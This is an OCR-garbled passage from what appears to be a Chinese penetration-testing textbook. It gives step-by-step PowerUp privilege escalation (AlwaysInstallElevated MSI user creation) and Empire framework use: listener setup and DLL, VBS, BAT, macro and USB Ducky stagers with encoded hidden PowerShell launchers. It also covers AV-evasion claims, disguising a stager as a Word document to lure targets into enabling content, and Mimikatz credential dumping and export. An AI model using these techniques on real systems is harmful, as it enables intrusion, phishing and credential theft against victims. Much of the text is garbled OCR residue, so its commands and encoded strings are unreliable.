
所示。

图6-50 查看用户

接着查看该用户的权限，发现已经是系统管理员权限，如图6-51所示。

c· \>net localgroup administrators 
net localgroup administ rato 「S

~fl{! administrators 
半·~ ~U{IL{lm非tmav申奇奇flflZ＊舍己＊＊~

*u 

Administrator 
msi 
shuteer 
{l~J~g{I 

绳·

图6-51 查看管理员歹lj表
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提权成功以后，可以看到目标机C:\Program Files\Program Folder\A Subfolder目录

下多了一个文件，如图6-52所示。

圃』~ ＇＂＂＇＂＇＂＂＇＂＇＂＂~＂＂＂＂＂尘.., ....... :;r;ir:Q&~－.m;,r:ir:r::n 

包金到库甲’ 其事 ’ 面建立件在

L 
S悻

回OmniS•闸，. ...

。 。mniS..ve凡阳，bak

图6-52 查看A Subfolder目录

，配曰鹏 黄嚣

2017／•町.. 20:53 应用理原

2017/4月 20:36 BAK 宜悻

大小

22 KB 

12 KB 

提权成功后需要清除入侵的痕迹，可以使用以下命令。

po we「shell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadSt「ing
（ ’ c :/PowerUp.psl');Restore-Se「viceBina「y -ServiceName ’ OmniSe「vers ’

执行命令后可以把所有的状态恢复到最初的状态，如下所示。

• 恢复“C:\Program Files\Program Folder\A Subfolder\OmniServers.exe.bak”为

“ C:\Program Files\Program Folder\A Subfolder\OmniServers.exe ” 。

• 移除备份二进制文件“ C:\Program Files\Program Folder\A Subfolder\ 

OmniServers. exe.bak” 。

2. 实战 2

在此实战中，用到了Get-RegistryAlwayslnstallElevated 、 Write-UserAddMSI:i:3:两

个模块。

读者可以使用PowerUp的Get-Regis町AlwayslnstallElevated模块来检查注册表项

是否被设置，如果AlwayslnstallElevated注册表项被设置，意味着MSI文件是以

SYSTEM权限运行的。 执行该模板的命令如下， True表示已经设置，如图6-53所示。

powe「shell -nop -exec bypass IEX (New-Object Net . WebClient).DownloadSt「ing

（’ c:/Power吨Jp.psl'); Get-Regist「yAlwaysinstallElevated

IC ： 飞’poιβf巳h<e1.1 - nor~ －斗号ζi ·>r• －＂＇.、巳 IE 其（ II马山－二•l:0j<ect II导t ;,<et ... :l1~nt). u0 ... nl0adSt I inq (’ | 
忙 .／ Po旷，，，，.111:· psl ' ); 1.i0t-R-ec.1Al ，飞 ay•»ln弓tal lElρvat0d I 
!pc ， ιrc.h号l l -nor ’令＇＇＂＇ζb;p占♀r IEλ （ I 10 ,., -Obj -ec t I Jct 山0b•二ll"°nt) [•o.,nloadSt r ir19 （ ’ ζ ！ P l 
101.'" r·Ur· p·c 1’); ·j斗 t-P.ιci:.l ... a ，吧！！丁、二t c.l 飞 El0.c.t•'d I 
盯 1·u0 I 

图6-53 检查注册表的设置



290 ~ Web安全攻防：渗透测试实战指南

接着添加用户，运行Write-UserAddMSI模块，运行后会生成文件UserAdd.msi,

如图6-54所示。

用户

PowerUp.psl 

~ UserAdd.msi 

图6-54 产生问SI文件

这时以普通用户权限运行这个UserAdd.msi，就会成功添加账户，如图6-55所示。

图6-55 查看用户

然后再查看管理员组的成员，可以看到我们己经成功在普通权限的CMD下添加

了一个管理员账户，如图6-56所示。

图6-56 查看管理员列表

该漏洞产生的原因是用户开启了Windows Installer特权安装功能，下面列出设置

的步骤，如图6-57所示。



立件｛η 撞倒A) 董量例 ”酣俐

’”l ~固l f; l ~ !!:mJ 'T
• u Wi甜。响组僻 Windo晒 ln$1•lle<

臼 A<b,.x 安肇理原撮’事

• X:J Billock« 疆到踏bll~

• 0 Internet 
'.::l lntemetln :J ＂描以酣饨珩啤
巳 Ne制H创哺 1 － ι旦 、 ，＂＂＇°＂＇.. ＝阳幽
;;:J P"ent.I Coj j """ 
f,C'l RSS ！墨要 I I 

• ;::2 Tobie< 陀
二3 时nd。阳 A,

~ Windows 

。革U{CJ 过鹏

设量

二::i Wind。晒 1
::l Wind阳g

:0 Wi叫。... 

;;::) Wind阳g

:;;l Windows 

重拥由平台： 一一一－一一一一王且， Windows2回回

·耻

时时。晌

图6-57 开启Windows Installe「特权安装功能
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首先打开本地组策略编辑器（在运行框中输入gpedit. rnsc）执行以下操作。

A. 组策略→计算机配置→管理模板→Windows组件→Windows Installer→永远以

高特权进行安装：己启用

B. 组策略→用户配置→管理模板→Windows组件→Windows Installer→永远以高

特权进行安装： 己启用

设置完毕之后，这两个注册表的以下位置会自动创建键值为“ 1 ”的数值。

• [HKEY _CURRENT_ USER\SOFTW ARE\Policies\Microsoft\ Windows\Installe 

r]“AlwayslnstallElevated”=dword:OOOOOOO 1 

• [HKEY _LOCAL_ MACHINE\SOFTW ARE\Policies\Microsoft\ Windows\Instal 

ler]“AlwayslnstallElevated" =dword: 00000001 

防御方法： 可以对照攻击方法进行防御，只要关闭AlwayslnstallElevated llP可阻

止他人利用MSI文件进行提权。

6.3 Empire 

6.3.1 Empi「e 简介

Empire是一款针对Windows平台的、 使用PowerShell脚本作为攻击载荷的渗透攻
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击框架工具，具有从stager生成、提权到渗透维持的一系列功能。 Empire实现了无需

powershell.exe就可运行PowerShell代理的功能，还可以快速在后期部署漏洞利用模块，

其内置模块有键盘记录、 Mimikatz、绕过UAC、内网扫描等，并且能够躲避网络检

测和大部分安全防护工具的查杀，简单来说有点类似于Metasploit，是一个基于

PowerShell的远程控制木马。

Empire的全部功能可以参考其官方网站： htφ：刀www.powershellempire .com/ 。

6.3.2 Empire 的安装

Empire 运行在Linux平台上，这里使用的系统是Debian ， 首先使用git命令下载程

序目录，如图6-5 8所示。

git clone https://github.com/Empi「eP「oject/Empire.git

Cloning into · Er:ipire · . 
F韧。te: Counting objects: 8671. done. 
rer.iote: Cor.ipressing objects: 10的 !l l/11) . done. 
rer.iote: Total 8671 !delta ll. reuse0 3 (delta Ol. pack· reused 8660 
Receiving objects: 100飞（ 8671/8671) , 18.96 M18 I 2.09 M1B/s . done. 
Resol ving deltas: 100飞 I 5786/5786) . done. 
root@l63· 164-223 ：、：： ls 

图6-58 下载Em pi 「e

接着进入setup 目录，使用以下命令安装Empire，如图6-59所示。

cd Empi「E

cd setup 

sudo ./install.sh 

｜ 口3 ：巳－ 220: :d E 
~c·o::?:53 .；号C:-223 ：～＇ E'."pl r号：： 1 s 
d1ange1og data er11ll r号 11t:飞 LICEr-JSE READI斗E .~d se:up 
rc.o:@:53- -:s.:-223:--/EπPl 俨号：： cd seτup 

roo:@:53- -:6.:-223 ：～／ E~pir号／ S号τup:: ./1ns:a11.sh 

图6-59 安装Em pi 「e

安装结束后，在Empire 目录下输入.／empirel:!P可打开Empire ， 这里的版本是2.3,

可以看到有280个模块， 0个监听， 0个代理，如图6-60所示。
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Welcome to the Empire 

军＝ === :::.:; = = ======:===-- == ========= = = ＝＝军事＝＝＝＝＝＝＝＝＝汇＝ = ==== =::.: = = = === = == 
[Empire] Post·-Exploitat1on Frane-.＜。 rk

==== ======= =====z=== ：：：：军：：；：：＝＝＝＜＂＇ r:o::z:i:========-== = = =========:; ======= 
[Version] 2.3 I [Web] https://github.co:n／回pirePro ject/Empire 

= = ==:;: = = = = :::: = s-== === = = =:: = =======·= = :r == ======::: == = = = == ==== = = = = = = = === 

I －－一. i I \I I I \ I I I _ \ I 一一一 l
I I_ I \ I I I !_l I I I I l_l I ! I 一
I _I I 川，J I i ~ I I I I / ，一！
! ｜一一！ 1 I i I I I I I I\ \…, ；一－
l一一一＿ II一 l 1一 l I i l_I I _I ．＋一＿ i i 一一一－！

280 modules currently loaded 

o lister.e's cu 「 rently actH·e 

O agents cu r 「ently aζt !Ve 

(E~pirel "’ 
图6-60 打开Empi 「e

6.3 .3 设置监听

运行Empire后，输入help命令查看具体的使用帮助，如图6-61所示。

(Empire) ,. help 

Commands 

agen:s 
c reds 
exit 
help 
interact 
list 
lls ten令 rs
load 
cc.0d·te1sca t守
广e lead 
reset 
reso u 俨C 号

sea re h；句。du le 
set 
sho1-1 
usemodule 
usestager 

(E:npirel > 

JITTp to the Agen;:s ＇肾nu.
Add/display credentials to/fro「：he da:a~ase 
Exit Empire 
Displays the help menu. 
Interact 1>1th a particular agent 
Llsts active agents or listeners. 
Interact 1>lth active listeners 
~oads Empire i:iodules fro气 a non standa··d tol d号俨
p 俨•？ obfuscate Po,,erShel l ~， odcil 号 scurce fil 号古
Reload one lor all I E[ pire ~odules 
Reset a global op:ion (e.g IP · .. t11tellstsl 
Read and 号X号： ute a list of ErlpHe co""' ands f re.町 a I il 号，
Sea 「E h Enpire module na叫o;>s/desc ript ions. 
Set a global option (e . g. IP 山h i:ells:s I. 
Sho-.; a global option (e.g. IP 的们i:ellstsl
Use an Enpire module. 
Use an Empire stager. 

图6-61 查看帮助
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很多人在第一次使用Empire时常常不知道从何下手，其实Empire和Metasploit的

使用原理是一样的，都是先设置一个监听，接着生成一个木马，然后在目标主机中

运行该木马 ， 我们的监昕就会连接上反弹回来的代理。

这里首先要建立一个监听，和Metasploit创建监听载荷一个道理，输入Listeners
命令进入监听线程界面，可以输入help命令查看帮助文件，如图6-62所示。

IE川口 ire: :- he1r 

仁片叫m a~ds 

d q号’1:s

＇·＇ρ.Js 

卢曹飞·』
• ＇品、

’'1•: 1: 
.. -- ..-- --
CI 、＂ d 七、

1 i ♀ t号门号··s

1 「＆才
( ＇＂飞l tf JSC a ：号

r々 l·:·ad
俨弓气哥？τ

’号SHI 俨己号

se;,rch"'.odu1 号
，『－
－，.，、

S ＇＇「．、
、：JS ＂「 C•d:11~
us-=s:aqe· 

＂~~. ：白 t 俨＇＇°州7号’'1:S -e~:i 

Add d1弓 cl.a1· .: ·ed 号叫： 1als τ （· · f ·r,- :h 号 da:abas号．
E 、工t E ...：飞 l 俨号
D1sp1ays t门号 he1r 气号飞I .

In ：导俨a.:: ‘·: l :•1 " 「•d 俨： 1c.1la· a口号'1:.
」 l s:s ac:1·:-: " q 号’1:s or 11s ：号n号 r飞．
I n:e ：俨a:: ·.,1:'1 a.：吃 i ·.号 11s ：号门e rs. 
』c ads E『［ l r号－·：·d ：、IL 号s f·c- a non-s:andard folder 
pr号obhs·: a t号 Fe ，咛＇S ＇’1号11 明c du1 号 SC•U re 号 f i1es 
民号lead c 门号 （「t r '111 • Eπpir号＂＇. C·d:1les.
E号Sfτa ali:t·al 1jp:10'1 ：号 ， oJ. IF.-.•11:ells:s1. 
P.号ad and o?:•-?•::1:.0 a l1s: cf E ... r.. l 「号 co千叶ands fro'" a fll.o . 
色号a ·ch E ：－－「i 1 rρ ＂'l)dU~.O na-.es/d.OSC rwtions. 
5号t a alcbal c:J:1c·n :e.a IF .-:'11 ：号lls:sl .
~＇1c.·:" ol.c::al c·r t 二 1):1 :-e. 司. IF ... •11 :-ells:s l. 
: S'° a 「 E〔［丁 l r守「 c·du l号
1.s 号 ar, E-c l F吁 s:aq号俨

图6-62 查看Listene「5帮助

接着输入uselistener来设置采用何种模式， 通过双击Tab键可以看到一共有7手中模

式， dbx、 http 、 http com、 http_foreign 、 http_hop 、 http_mapi和我们熟悉的meterpreter ,

如图6-63所示。

图6-63 查看uselistene「模式

这里采用http监昕模式，输入uselistener http ， 然后输入rnfo命令查看具体参数设

置，如图6-64所示。
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图6-64 使用 http模式

这里可以使用set命令设置相应参数， 需要使用以下命令设置Name、 Host和Po忱。

Set Name shutee「
Set Host 以X.XXX. XXX.XXX:XXXX(Empi「 所在服务器 IP)

这里Host默认的是我们VPN的IP ， 所以就不做修改了 ， 修改完成后可以再次输入

info，查看设置是否正确，然后输入execute命令即可开始监昕 ， 如图6-65所示。

I 1\;:m. ~· i 

I ire : ; 0· •::·.•:·cu:•' I 
i • J >1.1• i id<: ii 气； ... ,,’ i • ' I 
[+I L i 乌 ll'llf' 『飞 lJ （（川、 tu l l y 、 1 川仆｛｜！ | 
(E:cp1r号 ’ ；〉 ｜

图6-65 开始监昕

输入back命令即可返回上一层listeners界面， 输入list命令可以列出当前激活的

listener，如图6-66所示。

图6-66 歹lj出当前的监昕
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使用kill命令就能删除该监听，如图6-67所示。

图6-67 删除监昕

这里要注意一点，当开启多个监听时，必须使用不同的名称，并且使用不同的

端口，如果想要设置的端口己经被使用，那么在设置时会有提示信息。

6.3.4 生成木马

设置完监听，接着就要生成木马然后在目标机器上运行。可以把这个理解成

Metasploit里面的Payload 、 Empire里拥有多个模块化的stager，接着输入usestager来设

置采用何种模块，同样，通过双击Tab键，可以看到一共有26个模块，如图6-68所示。

(E内p1 re· l i ～↑ 1•11 川、 I ,. uses :ager 
~.ul :1/t•ash osx/launcher 
"'ul:11laun(her 
ciul:1/py1nstalle「
c;ul:1 八·：ar

osx/appl<:>s•: 'H•: 
OS 飞／ applica:1on
osx/ducky 
osx/dylib 

OS 飞／rcaιho

osx/riac ro 
OSX/pkg 
osx/safan launcher 
csx/:eensy 
、·： 1ndo;-:s ! bunny 
''rndo-.,·s/dl l 

osx.:;ar "rndo .. :s. ’due Ky 
IE[ pire: l i •. 1 川＇ f 飞 I :- usestager I 

图6-68 歹lj出木马模块

•vrndo1>"s/h:a 
1>1ndo»•s/launcher bat 
1v1ndo1vs/launcher lnk 
k吐ndo·.,·s/launcher sc t 
‘•-:rndo-.-:s/launcher •1bs 
,,1ndo;;s /[ac ro 
w1ndo·.时s/mac roless ms1-1ord 
-.,1ndo\·:s/teensy 

其中multi为通用模块， osx是Mac操作系统的模块，剩下的就是Windows的模块，

下面我们挑选其中几种常用类型的木马来具体讲解。

1. DLL 木马

想要设置DLL木马，首先输入usestager windows/dll的命令 ， 然后输入info命令查

看详细参数，如图6-69所示。
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(Empire: li 、 tem》 rs) > usestager 111ndo><s/d11 
(Empire ：飞 t aqer /1<indow飞！dll) >info 

Narie: E儿L Launcher 

Desc r1pt ion: 
Generate a PwerP1ck Reflective DLL to iniect ·»ith 
stager code. 

Options: 

Na'"e Required 

Listener True 
ProxyCreds False 

Obfuscate False 

Proxy False 

Language True 
CutF1l号 True 
UserAaent False 

图6-69 查看详细参数

Value 

default 

False 

default 

Desc ript1on 

Listener to use 
Proxy credencials 
([do刑a in\}use 「na~， e:pass.>ordl to use for 
r号quest (default ncne. or other! 
S·.;1 tch Obfuscate the launcher 
po1;ershell code. uses the 
ObfuscateCo：阳＇~and for obfuscation types 
For po －.、·ershell only. 
P「o:oy to us 号 for reques: (default. noπe . 
or other> 

po1<ershell Language of the stager to generate. 
！＇.俨pllauncher.dll File to outou: dll to 
default L'ser·agent st 俨ing to us号 for the staging 

＇『 ιI• 矶、

这里我们设置一下Listener，然后执行execute命令，就会在tmp 目录下生成名为

launcher. dll的木马，如图6-70所示。 launcher.dll在目标主机上运行后 ， 就会成功上线。

I'臼P 伊 indows dl l l h 旷
(Empire: stager/windows/dlll >execute I 

[•) Stager output written out to: /t111p/launche 「 .dl l I 

(Empire: stager/windows/dlll > I 

图6-70 生成DLL木马

2. launche「

如果只需要简单的PowerShell代码， 在设置完相应模块后，可以直接在监昕器菜

单中键入launcher < language><lis tenerN ame＞，将很快生成一行base64编码代码， 这里

输入back命令回到listener下， 然后输入launcher powershellshuteer （当前设置的listener

名字）命令来生成一个Payload，如图6-71所示。
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图6-71 生成PowerShell代码

然后在装有PowerShell的目标机上执行生成的这段命令，就会得到这个主机的权

限，这里使用的虚拟机是Windows 2008 R2的64位Enterprise版，安装有360杀毒软件

+360安全卫士＋Sophos，直接将这段命令复制到虚拟机WebShell下执行 ， 如图6-72所

刁之。

图6-72 执行Powe「Shell代码

可以看到Empire已经上线了一个Name为L9FPTXV6的主机，而且所有杀毒软件

均没有出现任何提示，输入agents就可以看到上线目标主机的具体内容，这里的agents

就相当于Metasploit的会话sessions，如图6-73所示。
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图6-73 查看上线的主机

此时代理Name 会取一个随机的名字 ， 可使用 rename <old.Agent Name> 

<new AgentN ame＞命令来修改， 这里输入rename L9FPTXV6 USA，如图6-74所示。

图6-74 更改主机名称

3. launcher vbs 木马

要想设置launcher_vbs木马 ， 首先要输入usestager windows/launcher_ vbs，然后输

入info命令来查看详细参数，如图6-75所示。

图6-75 查看详细参数

使用以下命令设置Listener的参数并运行，默认会在tmp文件夹下生成launcher.vbs, 
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如图6-76所示。

Set listene「 shutee「

Execute 

I { ; I {Emp工「e：电 tager ·,.;indo巾’ launcher vb~ ） > execute I 

(•] St.iqer output hTitten out to: /t~~＞ 1launclwr.vbs I 

{ Emp1 「e: ~ tage 『／，.； indo1>silauncher vb、｝〉二 ｜

图6-76 生成VBS木马

最后输入back命令回到Listener下开始监听，将生成的这个launcher.vbs在目标机

上打开， 就会得到这个主机的权限，这里使用的虚拟机是Windows 10的64位旗舰版，

安装有系统自带的Defender，运行后， launcher vbs木马成功上线，如图6-77所示。

Defender没有出现任何提示。

{En pl e : li t ) I I I itial gent EbLXUKRB f om 103. .202 ti （川） ｜I"'' "' { l I '"' bk 

(Er.ip1 「e : listPnPr、）〉

图6-77 反弹成功

如果要生成PowerShell代码，设置完Listener后不用输入execute，直接输入back ,

然后输入launcher powershell shuteer即可，如图6-7 8所示。

' (E内pire ：飞 1 叫，.，” 111c:u 归、 L"""''"' ·:11 、 I ,. set us ：导ner shuteer I 
I tE~p'e 、＼ d:;·r i 川；，，，、 l«川＇＇＂叮 .iJ 、 I " oack I 

II ll｝~ I po叫同时l1 ·noP ·Sta . .; ! ·enc SQB':".ACgAJABQAFl1A'lgB1AFIAL' .. €pAGSATgB~AGEA口q四认C'1.JAιgBCAFl-:A'lg8FAFIA，包pAG8A I 
TgAuAEOAYQE;;A♀SAUgAgAC OAZ:,€FAC Af;J矶、·Api<~sAJAEHAFAAIJ.·:A9AFs Ac gBF AGY A>:QAu A正EAl!.. €TAGJAbQBCA 二＂A',\QAuU:.ιAZCBCAFQA I 
eC£QAGU副AM AF FAeQB z .：.~QAZQB t AC ~A TC·Bh AG~AY(£n A胆地QB1 AG~Ad AAu AEE Ad QB CAG8Ab CB h A.>;Q AaC-8＇邮＂Al-gB'IA~CAaC'8sA!咽A I 
]"ApAC"Al gBHAGLAVASGAGkAZQBgAG.;AZAA1AC gA;.,'8 J AGE AY;,'8oAGUAZABHAHl Ab:,'8 l甜AALAB•:AG.；问QBj w,：仙J .€\i.}iQAdABpAG.:A I 
z.,'8z ACc A!.._AAnU:. .:AJ,,Ar ACc Ab而uAFAAdQ81AG-.·1AaQB] AC呻l),'8QAGEAdABpAGl'AJ,:ApAC'M包 FAHQAVgBBAE ＂~＇JQB1ACgAJ地OAFUA I 
TABsA己＜ AC＼，咀jAfY削AAkAEcAUABTAFsAJ.‘.'!lTAG~AcgBp刽h\AdABCACc凶础nAG .. ·Ab .. €] AGsAT AB认Ge AZ..'8pAG.:AZ,,AnAFC削CB7ACCA I 
R.，包QAF以协阳AFMAY1，·包yAGkAcABOAE IAJ刷rACcAbAB•:AGM阳自由怕GSAZ,,'8川队AbgBnAC ( AXQBbACc ARQBuA:;EAY gBsAGLA山包） A.~IA I 
气也山血川…叫， .~rn.i.v, n - Ar. ;>.h n ... ；也f ,. .. , ... 

图6-78 执行Powe「Shell代码

4. launcher bat 木马

要想、设置launcher_bat木马，首先要输入usestager windows/ launcher_ bat的命令，

然后输入mfo命令查看详细参数，如图6-79所示。
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图6-79 查看详细参数

使用以下命令设置Listener的参数并输入execute命令运行，默认会在tmp文件夹下

生成launcher.bat，如图6-80所示。

Set listener、 shutee「

Execute 

｛臼pi 「E：、 taqer/1>ind。“ ·taunchc>r iJdt) '" set Listener shutee「 ｜
(Empire: stager/•>indo»> ·taunthl'r IJ.,t) ,. execute I 

[’ l Stager output 1>ritt• n out tυtr可） '\ u 飞 II\( ht'f b.it I 

(Emp1 「e: stagrr /l•indo«•>ilauncher b.it) :- I 

图6-80 生成BAT木马

输入back命令回到listeners下开始监听，然后将生成的这个launcher. bat在 目标机

上打开，就会得到这个主机的权限，可以看到，在虚拟机运行后， BAT木马已经成功

上线了，如图6-81所示。

图6-81 反弹成功

为了增加迷惑性，也可以将该批处理文件插入一个office文件中，这里随便找个

Word或者Excel文件，单击“插入”标签，选择“对象”，然后选择“由文件创建”，
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单击“浏览”按钮，并选择刚才生成的批处理文件，然后勾选“显示为图标”，最后

单击“更改图标”按钮来更改一个更具诱惑性的图标，如图6-82所示。

""" 翩翩罐幢幢四~I周 跚 跚 跚 文本想拥阳隅，醉，:r 组lil i!IA ’

段， 现跚帽裂” 交事

＝~<9 

在主笛命陆λ候袋里烤肉，兽’E际·

画由

4监墨b
甲3

d重~
C董D 刷

施’‘

图6-82 插入新对象

在“更改图标”界面里， 我们可以选择一个图标，这里建议使用微软的Excel 、

Word或PowerPoint图标， 这里使用了Word的图标，并且更改文件的名称为研究成果，

扩展名改为doc 。 单击“确定”按钮后， 该对象就会插入Word文件中，如图6-83所示。

、... "'.' －－~由~－ ....... ＂＇咀帽－→~ •· 
．．页，。笨’

个人简介
2002 年接触网络安全，对 Meta酬。it 和内网渗透有着然p

I 指南2， 在 4帽客 X 档案1 4颠客手册’、 Freebuf 、 安全

等杂志和媒体发表过多篇技术文章. QQ, 8946723. , 

E

K 

州
幅
口如

-
d

av 

研

图6-83 插入Word文件

接着在listeners下监听，然后将该Word文件发给目标， 一旦该Word在目标机上被

打开，并运行了内嵌的批处理文件，就会得到这个主机的权限，这里使用的虚拟机

是Windows 10的64位旗舰版，安装有系统自带的Defender, Word文件运行后， BAT

木马成功上线， Defender没有任何提示， 360安全卫士会报告发现宏病毒，如图6-84

所示。

（川

图6-84 反弹成功
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5. Macro 末马

要想设置Macro木马，首先需要输入usestager windows/macro命令，然后输入info

命令查看详细参数， 如图6-85所示。

图6-85 查看详细参数

这里使用以下命令设置Listener的参数并输入execute命令使其运行，如图6-86所

刁亏 。

Set listene「 shuteer

Execute 

1 ( Empire ： 、 tiHJPI · .. ;indo·的 ndc rol ,. se: L 1stene 「 shu t号er I 
( Emp1 「e : ~taqt>r 'l·;indu巾 J n<i ’ r o l > execute I 

i•! ~L1qPr output ... rittf·n ''"'to t叩 l i.l(rυ l 

( Emp ire ： 、 tager:1>indo ，，~ nacro) o· I 

图6-86 生成Mac「0木马

默认会生成一个宏， 储存在／tmp/macro文件中，如图6-87所示。

己二＞ j .旦，＜－~~·
。 Recent

Q Ho町、e

画 Deskt叩

正己盟，
End Sub 

Sub Document_ Open() 

图6-87 查看tmp目录
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然后需要将生成的宏添加到一个Office文档里面，这里打开一个Word文件，单击

“视图”标签，选择“宏”，在“宏的位置”选择当前文件，宏名可以任意起一个，

然后单击“创建”按钮，如图6-88所示。

~ Ll E 是自白平~· &i' 「百1
~~UX”··”呵 ，蕾雷巳盒．．．员纷 • 饵圃’剧 , 

a员.It ,a＆龟， t11 I • 1 

皇事也剿 ’巳 1--a阳」

E王E己
…h何ω

图6-88 创建宏

单击咄建”按钮后会弹出VB编辑界面，将原来的代码删除，把生成的宏复制

进去，另存为“Word 97-2003文档（ ＊ .doc）”文件，如图6-89和图6-90所示。

’ ..... 1 
r .. ; ..‘归 2. ’”“SI

.. ..... Et ，.，.， 剖~

e阳山咱制
引用

, .. ~ .... （个λ骨但也t
凰4仔”•ft ，.，.， 酒量
@)ru .. ，＿刷
幢l,t
d哇，.......

3 引用

So 』e幢幢飞。，..o 
’•hui吨

图6-89 复制宏代码

二监且

图6-90 另存为文档

可 ＠帘的．确性
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最后将这个修改过的Word拷到目标机上执行，打开后会提示一个安全警告，这

里需要使用一些社会工程学的策略，诱导目标单击“启用内容”按钮，如图6-91所示。

个人介娼性n.doc 回幢幢骂I· M;"osok w。，d

开由 当后入 噩噩布属 于用 ι｛寺 盲d自 由组

，五号 ·冒曾写 ：三 . i= . .辛辛辛 A,, 航
础咀 B I I由民 t 钞 E 蕃慧’脑：z二~茸卢二二

主F 亨， A • A> · A. •• A ＠ 岛’ 一 · :,,: . H L.r l 
E黠鲁E • 字（（. • 匾， '' IZra 

！） 酷抽串西翻. =:s面F

图6-91 Word的安全警告

这里单击“启用内容”按钮， 可以看到在监昕界面下面，目标机己经顺利上线

了 。 在实际情况下， 360安全卫士会报告发现宏病毒，如图6-92所示。

图6-92 反弹成功

如果要删除该主机，可以使用kill或者remove命令，如图6-93所示。

图6-93 删除目标主机
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6. Ducky 

Empire也支持Ducky模块，也就是我们常说的“ 小黄鸭”，输入usestager 

windows/ ducky命令，然后输入info命令查看详细参数，如图6-94所示。

图6-94 查看详细参数

这里只要设置Listener参数， 就可以生成用于烧制的代码，如图6-95所示。

IEηp ir号、 L1q<·1 .:i11do.巾。＇＂ ky ! > set llstener shuteer 
I E.-ipirε 飞 r '"''' i1HID. 、 du 、 k-11 '"execute 
DEL~Y 3').)) 
lcUi c 
DELAY lC二2

STRH;G po .，它「shell

EtiTER 
DELAY 2000 
STRI1、击 pO><ershell ·W Hidden -nop -non1 enc Sα~ACgAJABQAFMAYgBFAHIALMlpAG8AbgBUAEEAYgBsAGUALgBQAFMAVg 

FAF!AIJ.肉包pAGBAbQAuAEOAαJBKAG8AcQAQACOA2w咀FACM!·h,ApAHsAJA如AFAAυ＇.＜A9AFsAcQBlAGYAXQAuAEE AlMBTAGUAbQBCAGwA•

图6-95 生成代码

将该代码烧至“小黄鸭”中，插入目标用户的计算机，就可以反弹回来。具体

操作流程可以参考这篇文章一一《利用USB RUBBER DUCKY C USB 橡皮鸭）在 目

标机器上启动Empire或Meterpreter会话》（htφ：／／www.freebuf.com/geek/141839.html ）。

6.3.5 连接主机及基本使用

目标主机反弹成功以后，可以使用agents命令列出当前己连接的主机，这里要注

意带有（门的是己提权成功的主机，如图6-96所示。
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[! 1·1 Aεtive agents· 

Name Internal IP Machine Name Username Process Delay Last Seen 

riir1Fru.i4vmoNuo i句 ： i68:ji : 158 山iN7 :x86 • -… i- －~；；，i~王~86＼…i臼J： 卢沾~~helt/296 sie :ii i8i1:95:95·8~ ＇. 55;04· 
S3XTtlDLllEVYFGP”3 192.168 . 31.134 liI”7· 64 二日IN1：“飞岳王F powershell/536 5/9.0 2017·05 · 06 94 : 55:01 

图6-96 歹lj出己连接的主机

然后使用interact命令连接主机，可以使用Tab键补全主机的名称，连接成功后输

入help命令即可列出所有的命令，如图6-97所示。
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图6-97 查看帮助

可以看到主机的功能相当强大，基本可以和Metasploit媲美，更为强大的是兼容

Windows 、 Linux和Metasploit的部分常用命令，使用起来上手相当快，如图6-98所示。
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图6-98 使用 Linux命令

输入help agentcmds可以看到可供使用的常用命令，如图6-99所示。

(Empi 「e: us ，~） > help agentcmds 

[ •) Available opsec -safe agent comands: 

ls, di 「， nn, del , cp, copy, pwd. cat. cd, mkd1 「，

nndir. 肘， move . ipconf吨， i fconfig. 「oute,

「eboot ， 「esta 「t, shutdown, ps, taskllst, getpid, 
whoami. getuid, hostname 

(Empire ： 订Sid ~· [J 

图6-99 常用目录歹lj表

在使用部分CMD命令的时候，要使用“shell十命令” 的格式，如图6-100所示。

图6-100 使用CMD命令

然后再试试内置的Mimikatz模块，输入mimikatz命令，如图6- 101所示。
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(Empire: I > 
Job started: Debug32 rdtrO 

Host n~me: win 7.· x86 I 5 · l 5 21 · 3706207507 350640~812 2082115619 
.li#::i:ll. nimtk~tl 2.1 (x86) built on Dec 11 2016 18:01:05 
－＃＃《＃＃。A La Vie, A L'Amour' 
t:i: I \ :ii: I· ' 
:ii:\ I ii:: Ben1am1n DELPY gentllk1w1 ( beniamin@gentilk1wi.com I 
·;:11 v li:i' http://blog.qentllk1wi.com/m1m1katz (oe.eo) 

’ ＃ 1:：：岁，’ with 20 可1onules …／

,,, ...... ，.，~ ....... .., ... .. ,ffill •• ＿唰E蜻，.!lllll.._..,_.,.,ruun:L,_.. ，..，.，曰

Authentication Id 0 ; 16164866 (00000000:00f6a802i 
Sessi。11 : Interactive from 2 
User !lame test 
。。main : W!N7-X86 
Logon Server WIN7-X86 
Logon Time : 2017/5/6 16:51:23 
c; m : s · l · 5. 21-37El62fl75o7 -3506404812-2os2115619 -1002 
:an。ns msv 

[00010000) C1ede11t1alKeys 
NTLM : 69943c5e63b4d2c 10-ldbbcc 15138b 72b 
SHAl e9 l f el 73 f 59b063d620a934c e laO I 0f2b114c If 3 

[ 00000003) P11:na 门F

· Usern<1~e test 
Do~il rn l'ilt/l · X86 
NTLM 69943c5e63b4d2cl04dbbccl5138b72b 

－，亏，＇＜ 0s句＂＇三亏，＂二、 f'l.::>.!1 .，甩 F《’：：J'1f\f'Jh.111ri 李

图6-101 抓取Hash

同Metasploit一样，输入creds命令可以自动过滤、整理出获取的用户密码，如图

6-102所示。

图6-102 自动整理抓取到的密码

这里有个小技巧，输入creds后双击Tab键，可以看到一些选项，如图6-103所示。

' (Empire: ) > creds I 
add export hash krbtgt plaintext remove I 

图6-103 查看C「eds选项

在内网抓取的密码比较多又乱的时候，可以通过命令对hash/plaintext进行排列、

增加、删除、导出等操作，这里将凭证存储导出，输入“creds expo口目录／xx.csv ”

命令，如图6-104所示。
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I (E~p1- r·e: ) ＞………ω ｜ 
,; ,: 、 i '' : to γoot p刁气气 . csv csv I 

~囚 pass.csv.csv 

:110,CredType,Domain,Use 「name,Password,Host,OS ,SIO,Notes
, ”hash” , "shuteer.testlab" , "Administrator" , "2e94bf8f2e13f9a4d347fc6bbc2la635 
5-1-5-21-1181265161-3312493993-1236128916" , "2917-ll-24 99:39:21 ” 
, ”hash ” , ”shuteer. t estlab” , ”WIN7-64$ ", ”15f65418b843bfl87c72964de37cdbef ” , ”wi 

图6-104 导出Hash

在实际渗透过程中 ， 由于种种原因，总会有部分主机丢失或者失效，可以输入list

stale命令列出已经丢失的反弹主机，然后输入remove stale命令删去己经失效的主机，

如图6-105所示。

图6-105 删除失效的主机

还有一些其他的常用命令，如Bypass UAC提权命令、 SC截图命令、 Download下

载文件、 Upload上传文件等，因为这些比较简单就不演示了，建议读者参照帮助信息

多多尝试其他命令。

6.3.6 信息收集

Empire主要用于后渗透。所以信息收集是比较常用的一个模块，可以使用search

